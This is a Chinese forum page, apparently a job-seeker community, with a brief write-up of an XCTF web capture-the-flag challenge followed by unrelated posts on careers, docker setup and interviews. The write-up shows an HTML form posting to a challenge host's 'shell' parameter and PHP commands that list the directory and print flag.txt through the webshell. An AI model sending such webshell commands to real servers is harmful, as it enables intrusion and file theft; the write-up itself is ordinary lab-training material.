2019-07-24 17:51 已编辑浙江理工大学 Java

关注

XCTF WEB webshell

https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070

版本一

题解：修改HTML代码提交一个shell的变量

变量值是webshell命令

<form action="http://111.198.29.45:36317/index.php" method="post">
    <input type="text" name="shell">
    <input type="submit" value="提交">
</form>

提交命令

print_r(scandir(getcwd()));

在网站目录下发现了flag.txt

提交命令

print_r(show_source('flag.txt'));

全部评论

推荐最新楼层

04-25 16:38

已编辑

门头沟学院 Web前端

生而野蛮：非科班到大厂Offer，我的前端逆袭路径复盘

从乡村泥土路到211校园，从懵懂迷茫到目标坚定，你的成长之路，藏着每一步的挣扎与坚持、选择与蜕变。风起于青平之末 浪沉于波澜之间，那些看似平凡的过往，那些咬牙坚持的瞬间，终会拼凑成照亮前路的光。 从小你就习惯了独立，小学每天往返8公里上学，初中独自离家30公里住校，早已学会了自己照顾自己。 高中：低谷蓄力，逆风翻盘 高一高二的你，始终保持着认真听课的态度，没有太多杂念，只是单纯地做好自己该做的事，为未来积蓄力量。那时的你，还不懂什么是挫折，也未曾想过，高三会迎来一场足以击垮心态的考验。 高三，是你人生中的至暗时刻。一模物理成绩出来，仅有 16 分，距离高考仅剩几个月，巨大的落差让你陷入绝望，心...

我的求职进度条

点赞评论收藏

今天 17:04

南宁理工学院产品经理

docker部署

#利用阿里云部署软件仓库[root@localhost ~]# cat > /etc/yum.repos.d/docker.repo << EOF[docker]name = dockerbaseurl = https://mirrors.aliyun.com/docker-ce/linux/rhel/9.6/x86_64/stable/gpgcheck = 0EOF[root@localhost ~]# dnf makecache正在更新 Subscription Management 软件仓库。无法读取客户身份本系统尚未在权利服务器中注册。可使用 "rhc&qu...

点赞评论收藏

03-28 00:43

杭州电子科技大学 C++

老大，我们这样装傻充愣，真的能找到实习吗？

求大家看看这份简历有啥缺点。boss好多已读不回的我已经麻木了，大家嘴毒一点指出来没关系的

找工作勤劳小蜜蜂：矛盾是没有实习，就是没实战经验，公司不想要，公司不要，你就没有实习，你就进入死循环，另外你的项目不是社会现在有大量岗位存在行业用的，云存储人员早就饱和。

点赞评论收藏

04-13 15:34

贵州财经大学人工智能

我就想找个8k的这么难

大概六个平台，投了快小一千份了，一个约面没有。目前是在实习，转正答辩已过，但是工资只有5k，想找8k左右的，求大佬们拷打一下😩目前在贵州，想去深杭。

春招至今，你收到几个面试...

点赞评论收藏

04-26 09:21

已编辑

重庆邮电大学网络安全

一面sre

1.项目2.linux文件管理命令：文件名、大小、递归查找查日志某个状态码个数、某状态码出现对应的最早时间进程管理、系统监控、脚本后台运行虚拟内存3.tcp、滑动窗口、拥塞控制、url解析请求全过程4.中间件5.python

查看3道真题和解析

点赞评论收藏

全站热榜

招银网络春招开奖了！

热聊中

创作者周榜

正在热议

# 联宝杯大学生创新大赛，你的技术值得产业级答案 #

# 实习想申请秋招offer，能不能argue薪资 #

# 你和你的mentor相处模式是__ #